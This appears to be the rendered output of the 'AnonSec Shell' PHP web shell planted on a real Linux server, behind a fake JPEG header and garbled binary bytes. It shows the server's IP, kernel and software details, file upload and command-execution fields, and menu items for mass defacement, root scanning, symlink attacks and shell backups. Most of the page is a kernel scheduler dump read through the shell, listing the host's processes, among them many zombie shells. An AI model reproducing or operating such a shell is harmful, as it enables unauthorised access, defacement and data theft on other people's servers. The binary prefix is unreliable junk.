JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/14932/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/14932/root/proc/sched_debug
Sched Debug Version: v0.11, 4.14.281-212.502.amzn2.x86_64 #1
ktime                                   : 6152691444.328920
sched_clk                               : 6152730015.423988
cpu_clk                                 : 6152728970.246906
jiffies                                 : 5833065157
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 6.000000
  .sysctl_sched_min_granularity            : 0.750000
  .sysctl_sched_wakeup_granularity         : 1.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 2021179
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2299.975 MHz
  .nr_running                    : 2
  .load                          : 2097152
  .nr_switches                   : 7240207199
  .nr_load_updates               : 1019505787
  .nr_uninterruptible            : 1
  .next_balance                  : 4294.892296
  .curr->pid                     : 19066
  .clock                         : 6152728971.394522
  .clock_task                    : 6152728971.394522
  .cpu_load[0]                   : 71
  .cpu_load[1]                   : 37
  .cpu_load[2]                   : 23
  .cpu_load[3]                   : 21
  .cpu_load[4]                   : 22
  .avg_idle                      : 926771
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/autogroup-1
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 330186.256013
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -107741303.766507
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .removed_load_avg              : 0
  .removed_util_avg              : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 6152728515.366770
  .se->vruntime                  : 108071453.332493
  .se->sum_exec_runtime          : 330115.079668
  .se->load.weight               : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0

cfs_rq[0]:/autogroup-26
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 455009.515178
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -107616480.507342
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .removed_load_avg              : 0
  .removed_util_avg              : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 6152701236.814654
  .se->vruntime                  : 108069044.091731
  .se->sum_exec_runtime          : 455010.483437
  .se->load.weight               : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0

cfs_rq[0]:/autogroup-32
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 194.898461
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -108071295.124059
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .removed_load_avg              : 0
  .removed_util_avg              : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 6127124174.640239
  .se->vruntime                  : 105593484.008362
  .se->sum_exec_runtime          : 296.518213
  .se->load.weight               : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0

cfs_rq[0]:/autogroup-33
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3.909719
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -108071486.112801
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .removed_load_avg              : 0
  .removed_util_avg              : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 14913.008557
  .se->vruntime                  : 3269.428978
  .se->sum_exec_runtime          : 1.962357
  .se->load.weight               : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 108071487.022520
  .min_vruntime                  : 108071490.022520
  .max_vruntime                  : 108071487.022520
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 2
  .load                          : 2097152
  .load_avg                      : 393
  .runnable_load_avg             : 116
  .util_avg                      : 194
  .removed_load_avg              : 0
  .removed_util_avg              : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1    330186.256013   2389554   120         0.000000    331029.930891         0.000000 0 0 /autogroup-1
 S       kthreadd     2 108052774.630268     22237   120         0.000000       478.780360         0.000000 0 0 /
 I   kworker/0:0H     4      2354.931538         4   100         0.000000         0.016843         0.000000 0 0 /
 I   mm_percpu_wq     6        97.131365         2   100         0.000000         0.002505         0.000000 0 0 /
 S    ksoftirqd/0     7 108071486.339934  21718769   120         0.000000    300118.867065         0.000000 0 0 /
 I      rcu_sched     8 108071485.823911 113420274   120         0.000000    426701.494801         0.000000 0 0 /
 I         rcu_bh     9       103.134867         2   120         0.000000         0.002202         0.000000 0 0 /
 S    migration/0    10         0.000000         5     0         0.000000         0.045262         0.000000 0 0 /
 S     watchdog/0    11         0.000000   1538175     0         0.000000     10292.270297         0.000000 0 0 /
 S        cpuhp/0    12      2962.902502        15   120         0.000000         0.161505         0.000000 0 0 /
 S      kdevtmpfs    14      4121.005116       118   120         0.000000         0.645682         0.000000 0 0 /
 I          netns    15       133.743619         2   100         0.000000         0.002985         0.000000 0 0 /
 S     khungtaskd   191 108067312.260796     50922   120         0.000000      1667.300121         0.000000 0 0 /
 S     oom_reaper   192       164.138478         2   120         0.000000         0.002374         0.000000 0 0 /
 I      writeback   193       165.637365         2   100         0.000000         0.001913         0.000000 0 0 /
 S     kcompactd0   195 108005097.006956     39063   120         0.000000      2694.725892         0.000000 0 0 /
 S           ksmd   196       169.141611         2   125         0.000000         0.002209         0.000000 0 0 /
 S     khugepaged   197       171.207552         2   139         0.000000         0.002221         0.000000 0 0 /
 I         crypto   198       173.139891         2   100         0.000000         0.001578         0.000000 0 0 /
 I    kintegrityd   199       175.140556         2   100         0.000000         0.001560         0.000000 0 0 /
 I        kblockd   201       176.642831         2   100         0.000000         0.004158         0.000000 0 0 /
 S    xen-balloon   543 107822302.972880      1678   120         0.000000        15.090704         0.000000 0 0 /
 I             md   554       451.931842         2   100         0.000000         0.005462         0.000000 0 0 /
 I    edac-poller   557       456.134657         2   100         0.000000         0.006884         0.000000 0 0 /
 I      watchdogd   562       467.482312         2   100         0.000000         0.008573         0.000000 0 0 /
 S        kauditd   703 108047473.434684    323549   120         0.000000      2119.690880         0.000000 0 0 /
 S        kswapd0   709 108065751.092334    647128   120         0.000000    214432.063025         0.000000 0 0 /
 I       xfsalloc   799       746.292285         2   100         0.000000         0.003435         0.000000 0 0 /
 I  xfs_mru_cache   800       752.292614         2   100         0.000000         0.002012         0.000000 0 0 /
 I       kthrotld   854      1066.616842         2   100         0.000000         0.020365         0.000000 0 0 /
 S         xenbus   865      2244.346395       345   120         0.000000         2.469648         0.000000 0 0 /
 S       xenwatch   866      2245.866252       101   120         0.000000        18.029868         0.000000 0 0 /
 I        nvme-wq   888      1196.555689         2   100         0.000000         0.003041         0.000000 0 0 /
 I  ipv6_addrconf   917      1245.661037         2   100         0.000000         0.003804         0.000000 0 0 /
 I          kstrp   922      1271.001550         2   100         0.000000         0.003678         0.000000 0 0 /
 I        ata_sff  1780      2059.183703         2   100         0.000000         0.020154         0.000000 0 0 /
 S      scsi_eh_0  1796      2247.463057         4   120         0.000000         3.351198         0.000000 0 0 /
 I     scsi_tmf_0  1797      2065.955185         2   100         0.000000         0.002547         0.000000 0 0 /
 S      scsi_eh_1  1801      2247.600167         4   120         0.000000         2.380881         0.000000 0 0 /
 I     scsi_tmf_1  1803      2069.398454         2   100         0.000000         0.002925         0.000000 0 0 /
 I  xfs-buf/xvda1  1887 106843174.562892         5   100         0.000000         0.022265         0.000000 0 0 /
 I xfs-data/xvda1  1888      2333.186092         2   100         0.000000         0.001679         0.000000 0 0 /
 I xfs-conv/xvda1  1889      2335.186676         2   100         0.000000         0.001383         0.000000 0 0 /
 I  xfs-cil/xvda1  1890      2337.187510         2   100         0.000000         0.001619         0.000000 0 0 /
 Ixfs-reclaim/xvd  1891      2339.188135         2   100         0.000000         0.001414         0.000000 0 0 /
 I  xfs-log/xvda1  1892      2341.188817         2   100         0.000000         0.001467         0.000000 0 0 /
 Ixfs-eofblocks/x  1893      2343.190024         2   100         0.000000         0.002310         0.000000 0 0 /
 S  xfsaild/xvda1  1894 108071485.839289 107700413   120         0.000000    710440.986087         0.000000 0 0 /
 I   kworker/0:1H  1896 108071479.180542 133623119   100         0.000000    835860.114686         0.000000 0 0 /
 Ssystemd-journal  1958    455009.515178   2636194   120         0.000000    455010.674164         0.000000 0 0 /autogroup-26
 S  systemd-udevd  1973       194.898461       851   120         0.000000       174.171090         0.000000 0 0 /autogroup-32
 S        lvmetad  1976         0.649161         5   120         0.000000         1.901431         0.000000 0 0 /autogroup-33
 I            ena  2608      3044.698051         2   100         0.000000         0.005276         0.000000 0 0 /
 I         rpciod  2675      3878.360317         2   100         0.000000         0.003083         0.000000 0 0 /
 I        xprtiod  2676      3880.361349         2   100         0.000000         0.003448         0.000000 0 0 /
 S         auditd  2682 108069876.019566    423438   116         0.000000     10033.203741         0.000000 0 0 /
 S         auditd  2683 107933159.161667     29331   116         0.000000       581.566928         0.000000 0 0 /
 S    dbus-daemon  2706 108071453.307250   2385707   120         0.000000    239768.911099         0.000000 0 0 /
 S        rpcbind  2707 108070980.995441    205747   120         0.000000      5213.344779         0.000000 0 0 /
 S systemd-logind  2708 108071453.238190   1898538   120         0.000000    120145.034546         0.000000 0 0 /
 S           lsmd  2713 108070832.528045    410216   120         0.000000      8183.616309         0.000000 0 0 /
 S           rngd  2735 108071485.222401  47246412   120         0.000000    305548.740954         0.000000 0 0 /
 S        chronyd  2741 108070934.225636    818022   120         0.000000     64558.497606         0.000000 0 0 /
 S       gssproxy  2745      4213.979473        10   120         0.000000         1.894296         0.000000 0 0 /
 S       gssproxy  2746      4215.893447         1   120         0.000000         0.002383         0.000000 0 0 /
 S       gssproxy  2747      4215.412336         1   120         0.000000         0.002388         0.000000 0 0 /
 S       gssproxy  2748      4215.132137         1   120         0.000000         0.002375         0.000000 0 0 /
 S       gssproxy  2749      4214.949560         1   120         0.000000         0.002447         0.000000 0 0 /
 S       gssproxy  2750      4214.828782         1   120         0.000000         0.006892         0.000000 0 0 /
 S       dhclient  2987 107945583.006267     16891   120         0.000000      2703.390353         0.000000 0 0 /
 S       dhclient  3109 108064401.864512     54112   120         0.000000      8529.064315         0.000000 0 0 /
 S        php-fpm  3153 108071438.452509   6761611   120         0.000000    197106.045160         0.000000 0 0 /
 Samazon-cloudwat  3154      9417.913958       197   120         0.000000        83.691179         0.000000 0 0 /
 Samazon-cloudwat  3493 108071485.288006 811571719   120         0.000000  10209419.659463         0.000000 0 0 /
 Samazon-cloudwat  3494      9560.099863       155   120         0.000000        28.547784         0.000000 0 0 /
 Samazon-cloudwat  3495      9396.499802        25   120         0.000000         8.891329         0.000000 0 0 /
 Samazon-cloudwat  3498      9402.492716         1   120         0.000000         0.009478         0.000000 0 0 /
 Samazon-cloudwat  3499      9560.831282        79   120         0.000000         6.376837         0.000000 0 0 /
 Samazon-cloudwat  3503 108069957.604803 478192569   120         0.000000  20365387.728354         0.000000 0 0 /
 Samazon-cloudwat  3504 108071485.692761 465554146   120         0.000000  19857316.848350         0.000000 0 0 /
 Samazon-cloudwat  3507 108049419.302463 475294603   120         0.000000  20393814.154866         0.000000 0 0 /
 S       sendmail  3195 108071230.496631   1244680   120         0.000000     93184.777090         0.000000 0 0 /
 S       sendmail  3216 108048521.559976      4229   120         0.000000       638.987409         0.000000 0 0 /
 S       rsyslogd  3274 108060136.687200     10995   120         0.000000       207.848184         0.000000 0 0 /
 S   in:imjournal  3284 108071469.882572   8976409   120         0.000000    592609.442235         0.000000 0 0 /
 S  rs:main Q:Reg  3644 108066900.442637   2143187   120         0.000000     41148.934113         0.000000 0 0 /
 Samazon-ssm-agen  3275      8397.211177       144   120         0.000000        14.611473         0.000000 0 0 /
 Samazon-ssm-agen  3397 108066907.109137    782307   120         0.000000     11086.239103         0.000000 0 0 /
 Samazon-ssm-agen  3398 108066900.606350    207353   120         0.000000     48304.333880         0.000000 0 0 /
 Samazon-ssm-agen  3399      7844.716997        15   120         0.000000         0.172734         0.000000 0 0 /
 Samazon-ssm-agen  3409 108066907.123885    293866   120         0.000000     80597.879514         0.000000 0 0 /
 Samazon-ssm-agen  3410      8397.293494       143   120         0.000000        26.124132         0.000000 0 0 /
 Samazon-ssm-agen  3421      8402.209938         1   120         0.000000         0.012114         0.000000 0 0 /
 Samazon-ssm-agen  3422 107129186.761050    103137   120         0.000000     22987.486612         0.000000 0 0 /
 S           sshd  3307 108047474.043407     57355   120         0.000000      9236.238273         0.000000 0 0 /
 S        php-fpm  3401      7659.079087         2   120         0.000000         0.353923         0.000000 0 0 /
 S        php-fpm  3402      7658.434330         1   120         0.000000         0.344888         0.000000 0 0 /
 S        php-fpm  3403      7658.328430         1   120         0.000000         0.397577         0.000000 0 0 /
 S        php-fpm  3404      7658.325642         1   120         0.000000         0.344234         0.000000 0 0 /
 S        php-fpm  3405      7658.556579         2   120         0.000000         0.350605         0.000000 0 0 /
 S      efs-proxy  3433      9170.151694        71   120         0.000000        12.449888         0.000000 0 0 /
 Stokio-rt-worker  3466 108071347.322039 229408762   120         0.000000   4930219.368213         0.000000 0 0 /
 S      efs-proxy  3434      9170.131241        71   120         0.000000        12.216052         0.000000 0 0 /
 Rtokio-rt-worker  3467 108071487.022520 121664893   120         0.000000   2948457.547633         0.000000 0 0 /
 S        python3  3435 108071452.991827  72974411   120         0.000000  30482263.773283         0.000000 0 0 /
 I         nfsiod  3449      9086.149458         2   100         0.000000         0.067129         0.000000 0 0 /
 S NFSv4 callback  3470      9175.084984         2   120         0.000000         0.003072         0.000000 0 0 /
 S          crond  3486 108068547.242134    125267   120         0.000000      9652.174997         0.000000 0 0 /
 S            atd  3487 108049219.017752      1886   120         0.000000        37.900684         0.000000 0 0 /
 S         agetty  3490     10167.087498        26   120         0.000000       104.104282         0.000000 0 0 /
 S         agetty  3491     10214.365835        20   120         0.000000        21.153472         0.000000 0 0 /
 S          acpid  3736     18484.743090        10   120         0.000000         0.427354         0.000000 0 0 /
 S          httpd 20923 108071453.277188   2557582   120         0.000000    150074.097254         0.000000 0 0 /
 S        gs-dbus 14932 104894007.460267         1   120         0.000000         0.110675         0.000000 0 0 /
 S        gs-dbus 14934 108071417.885605     69444   120         0.000000      1695.066466         0.000000 0 0 /
 D          httpd 15317 108071486.490986    369857   120         0.000000     83846.694961         0.000000 0 0 /
 S          httpd 15319 108071485.237576    150992   120         0.000000      2271.364056         0.000000 0 0 /
 S          httpd 15323 106117847.543779         1   120         0.000000         0.005675         0.000000 0 0 /
 S          httpd 15324 106117847.531493         1   120         0.000000         0.008055         0.000000 0 0 /
 S          httpd 15325 106117847.568436         1   120         0.000000         0.005809         0.000000 0 0 /
 S          httpd 15326 106117847.581987         1   120         0.000000         0.002857         0.000000 0 0 /
 S          httpd 23883 106295626.364891         1   120         0.000000         0.002253         0.000000 0 0 /
 S          httpd 23884 106295625.364911         1   120         0.000000         0.002272         0.000000 0 0 /
 S          httpd 23885 106295624.865014         1   120         0.000000         0.002376         0.000000 0 0 /
 S          httpd 23886 106295624.564939         1   120         0.000000         0.002301         0.000000 0 0 /
 S          httpd 23887 106295624.364945         1   120         0.000000         0.002306         0.000000 0 0 /
 S          httpd 23888 106295624.222012         1   120         0.000000         0.002230         0.000000 0 0 /
 S          httpd 23889 106295624.115045         1   120         0.000000         0.002407         0.000000 0 0 /
 S          httpd 23890 106295624.114923         1   120         0.000000         0.002285         0.000000 0 0 /
 S          httpd 23891 106295624.114940         1   120         0.000000         0.002301         0.000000 0 0 /
 S          httpd 23892 106295624.114898         1   120         0.000000         0.002259         0.000000 0 0 /
 S          httpd 23893 106295624.114860         1   120         0.000000         0.002221         0.000000 0 0 /
 S          httpd 23894 106295624.115007         1   120         0.000000         0.002369         0.000000 0 0 /
 S          httpd 23895 106295624.114844         1   120         0.000000         0.002205         0.000000 0 0 /
 S          httpd 23896 106295624.114984         1   120         0.000000         0.002345         0.000000 0 0 /
 S          httpd 23898 106295624.120987         1   120         0.000000         0.008350         0.000000 0 0 /
 S          httpd 23904 106295624.115085         1   120         0.000000         0.002448         0.000000 0 0 /
 Z             sh 16683 107221967.150878        10   120         0.000000         1.805555         0.000000 0 0 /
 Z             sh 16881 107222737.472976         9   120         0.000000         2.318742         0.000000 0 0 /
 S          httpd 10332 108071410.436538    130107   120         0.000000     31360.265368         0.000000 0 0 /
 S          httpd 10333 108071485.226949     46367   120         0.000000       517.529548         0.000000 0 0 /
 S          httpd 10334 107429770.689027         1   120         0.000000         0.002775         0.000000 0 0 /
 S          httpd 10335 107429770.494191         1   120         0.000000         0.007938         0.000000 0 0 /
 S          httpd 10336 107429770.346638         1   120         0.000000         0.003242         0.000000 0 0 /
 S          httpd 10337 107429770.264587         1   120         0.000000         0.028335         0.000000 0 0 /
 S          httpd 10442 108071463.670933    136332   120         0.000000     32231.907559         0.000000 0 0 /
 S          httpd 10443 108071478.519727     46028   120         0.000000       517.261525         0.000000 0 0 /
 S          httpd 10444 107435460.693820         1   120         0.000000         0.002682         0.000000 0 0 /
 S          httpd 10445 107435460.193942         1   120         0.000000         0.002805         0.000000 0 0 /
 S          httpd 10446 107435459.906805         1   120         0.000000         0.015668         0.000000 0 0 /
 S          httpd 10447 107435459.700124         1   120         0.000000         0.008986         0.000000 0 0 /
 S          httpd 21448 108071436.974898    130917   120         0.000000     31331.931851         0.000000 0 0 /
 S          httpd 21450 108071485.227211     44199   120         0.000000       499.083888         0.000000 0 0 /
 S          httpd 21451 107473808.672868         1   120         0.000000         0.003234         0.000000 0 0 /
 S          httpd 21452 107473808.672671         1   120         0.000000         0.003037         0.000000 0 0 /
 S          httpd 21453 107473808.672457         1   120         0.000000         0.002823         0.000000 0 0 /
 S          httpd 21454 107473808.690037         1   120         0.000000         0.020404         0.000000 0 0 /
 Z             sh 21834 107490788.595096        16   120         0.000000         2.397868         0.000000 0 0 /
 Z             sh 21836 107490791.741549         5   120         0.000000         1.674918         0.000000 0 0 /
 Z             sh 21841 107490800.299581         7   120         0.000000         1.738585         0.000000 0 0 /
 Z             sh 21848 107490810.060392        11   120         0.000000         2.243310         0.000000 0 0 /
 Z             sh 21860 107490824.881541         5   120         0.000000         1.757663         0.000000 0 0 /
 Z             sh 21865 107490829.114918        11   120         0.000000         1.990765         0.000000 0 0 /
 Z             sh 21869 107490833.197533         5   120         0.000000         1.802185         0.000000 0 0 /
 Z             sh 21873 107490837.024595         8   120         0.000000         1.946696         0.000000 0 0 /
 Z             sh 21877 107490841.028569         5   120         0.000000         1.825552         0.000000 0 0 /
 Z             sh 30103 107550969.251353        41   120         0.000000         3.119253         0.000000 0 0 /
 S          httpd 30165 108071456.641686    112017   120         0.000000     25919.065216         0.000000 0 0 /
 S          httpd 30166 108071478.520713     39954   120         0.000000       398.121598         0.000000 0 0 /
 S          httpd 30167 107551859.226283         1   120         0.000000         0.009533         0.000000 0 0 /
 S          httpd 30168 107551859.219734         1   120         0.000000         0.002983         0.000000 0 0 /
 S          httpd 30169 107551859.219309         1   120         0.000000         0.002558         0.000000 0 0 /
 S          httpd 30170 107551859.233167         1   120         0.000000         0.016416         0.000000 0 0 /
 Z             sh  4507 107563200.888092        12   120         0.000000         2.332783         0.000000 0 0 /
 Z             sh  4526 107563238.957518         5   120         0.000000         2.254860         0.000000 0 0 /
 Z             sh  8226 107573141.526597         4   120         0.000000         1.920067         0.000000 0 0 /
 S          httpd 16697 108071404.042881     98031   120         0.000000     28676.598078         0.000000 0 0 /
 S          httpd 16703 108071485.227260     36426   120         0.000000       429.235351         0.000000 0 0 /
 S          httpd 16712 107601249.453906         1   120         0.000000         0.005231         0.000000 0 0 /
 S          httpd 16713 107601249.456867         1   120         0.000000         0.008190         0.000000 0 0 /
 S          httpd 16714 107601249.451707         1   120         0.000000         0.003032         0.000000 0 0 /
 S          httpd 16715 107601249.451601         1   120         0.000000         0.002924         0.000000 0 0 /
 Z             sh 18592 107601779.717919         7   120         0.000000         1.965425         0.000000 0 0 /
 Z             sh 20401 107602256.959555        11   120         0.000000         1.952703         0.000000 0 0 /
 Z             sh 21099 107602412.579496         6   120         0.000000         1.937729         0.000000 0 0 /
 S          httpd 28502 108071419.976908     91296   120         0.000000     24817.886691         0.000000 0 0 /
 S          httpd 28511 108071485.226495     35886   120         0.000000       382.952915         0.000000 0 0 /
 S          httpd 28516 107604714.356650         1   120         0.000000         0.003049         0.000000 0 0 /
 S          httpd 28517 107604714.364057         1   120         0.000000         0.010457         0.000000 0 0 /
 S          httpd 28518 107604714.356399         1   120         0.000000         0.002798         0.000000 0 0 /
 S          httpd 28519 107604714.356410         1   120         0.000000         0.002809         0.000000 0 0 /
 Z             sh  7123 107620466.454441        10   120         0.000000         1.966922         0.000000 0 0 /
 Z             sh  7131 107620470.038739         8   120         0.000000         1.912753         0.000000 0 0 /
 Z             sh  7140 107620474.523051         9   120         0.000000         2.130491         0.000000 0 0 /
 Z             sh  7155 107620478.315859         9   120         0.000000         1.946383         0.000000 0 0 /
 Z             sh  7169 107620482.312945         8   120         0.000000         1.982666         0.000000 0 0 /
 Z             sh  7186 107620486.257217         9   120         0.000000         2.019185         0.000000 0 0 /
 Z             sh  7196 107620495.760756        28   120         0.000000         8.451073         0.000000 0 0 /
 Z             sh  7275 107620505.060866         6   120         0.000000         1.997664         0.000000 0 0 /
 Z             sh  7325 107620512.642577         9   120         0.000000         1.644622         0.000000 0 0 /
 Z             sh  7347 107620516.006282         9   120         0.000000         2.052081         0.000000 0 0 /
 Z             sh  7364 107620519.288097         8   120         0.000000         1.855422         0.000000 0 0 /
 S          httpd 17359 108071486.348614     86169   120         0.000000     23508.850853         0.000000 0 0 /
 S          httpd 17360 108071486.343392     33000   120         0.000000       351.190126         0.000000 0 0 /
 S          httpd 17361 107641828.929493         1   120         0.000000         0.009744         0.000000 0 0 /
 S          httpd 17362 107641828.923017         1   120         0.000000         0.003268         0.000000 0 0 /
 S          httpd 17363 107641828.922752         1   120         0.000000         0.003002         0.000000 0 0 /
 S          httpd 17364 107641828.922467         1   120         0.000000         0.002717         0.000000 0 0 /
 S          httpd 19332 108071485.357380     76120   120         0.000000     20930.442830         0.000000 0 0 /
 S          httpd 19333 108071485.226361     26324   120         0.000000       265.629645         0.000000 0 0 /
 S          httpd 19334 107707729.705794         1   120         0.000000         0.002693         0.000000 0 0 /
 S          httpd 19335 107707729.405815         1   120         0.000000         0.002714         0.000000 0 0 /
 S          httpd 19336 107707729.206548         1   120         0.000000         0.003446         0.000000 0 0 /
 S          httpd 19337 107707729.069172         1   120         0.000000         0.008927         0.000000 0 0 /
 S          httpd 19375 108071469.372682     74760   120         0.000000     17279.826430         0.000000 0 0 /
 S          httpd 19376 108071478.526665     26183   120         0.000000       248.702634         0.000000 0 0 /
 S          httpd 19378 107710606.990895         1   120         0.000000         0.002698         0.000000 0 0 /
 S          httpd 19379 107710606.879943         1   120         0.000000         0.002698         0.000000 0 0 /
 S          httpd 19380 107710606.818346         1   120         0.000000         0.018383         0.000000 0 0 /
 S          httpd 19381 107710606.826734         1   120         0.000000         0.003349         0.000000 0 0 /
 S          httpd 21652 108071481.512343     71516   120         0.000000     15975.597819         0.000000 0 0 /
 S          httpd 21653 108071485.225419     22128   120         0.000000       228.406199         0.000000 0 0 /
 S          httpd 21654 107755113.520513         1   120         0.000000         0.002616         0.000000 0 0 /
 S          httpd 21655 107755113.020502         1   120         0.000000         0.002606         0.000000 0 0 /
 S          httpd 21656 107755112.720814         1   120         0.000000         0.002918         0.000000 0 0 /
